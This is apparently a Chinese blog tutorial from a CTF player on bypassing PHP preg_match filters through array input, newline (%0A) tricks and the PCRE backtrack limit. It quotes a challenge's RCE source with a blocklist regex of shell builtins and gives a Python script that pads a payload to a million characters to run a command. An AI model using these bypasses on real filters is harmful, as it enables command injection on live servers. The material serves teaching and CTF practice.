Preg_match函数绕过

preg_match函数绕过

前置知识

正则表达式

对于正则表达式的知识可以在以下链接学习一下

preg_match函数

preg_match 函数用于执行一个正则表达式匹配。

他的定义是这样的

1
2
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

$subject是被搜索的字符串

$pattern是正则表达式

如下面的例子

1
2
3
4
5
6
7
8
<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "查找到匹配的字符串 php。";
} else {
echo "未发现匹配的字符串 php。";
}
?>

结果为:查找到匹配的字符串 php。

php手册告诉我们,preg_match函数一共会返回三类值,分别是1,0,false,那么当preg_math报错的时候就会返回false

绕过方法

数组绕过

由于preg_match函数只能出来字符串,所以传入的subject是数组的话就会返回false,但是如果后面的代码会转换字符串的话那么数组绕过就不行了

多行绕过(\n,%0A)

由于preg_match函数只能匹配一行的字符串所以我们可以用\n或者%0A来绕过

1
2
3
4
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}

.不会匹配换行符所以我们可以这样来绕过

1
$json="\nflag"
1
2
3
4
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}

$符不会匹配末尾的%0A所以我们可以这样绕过

$json=”flag%0a”

PCRE回溯次数限制

这个方法来自p🐂的文章: https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html#0x04-pcre

preg_match函数他的回溯规则如下(借用一下p🐂的图)

这个函数有一个最大回溯次数100万次,只要我们传的字符串超过100万的长度,那么就会返回false,从而绕过

比如buu里面的一道题,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

我们写的脚本如下

1
2
3
4
5
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' ##超过一百万,这里写一千万不会出结果。

res = requests.post("url", data={"cmd":payload})
print(res.text)

Preg_match函数绕过
https://zoceanyq.github.io/2022/10/08/Preg-match函数绕过/
作者
ocean
发布于
2022年10月8日
许可协议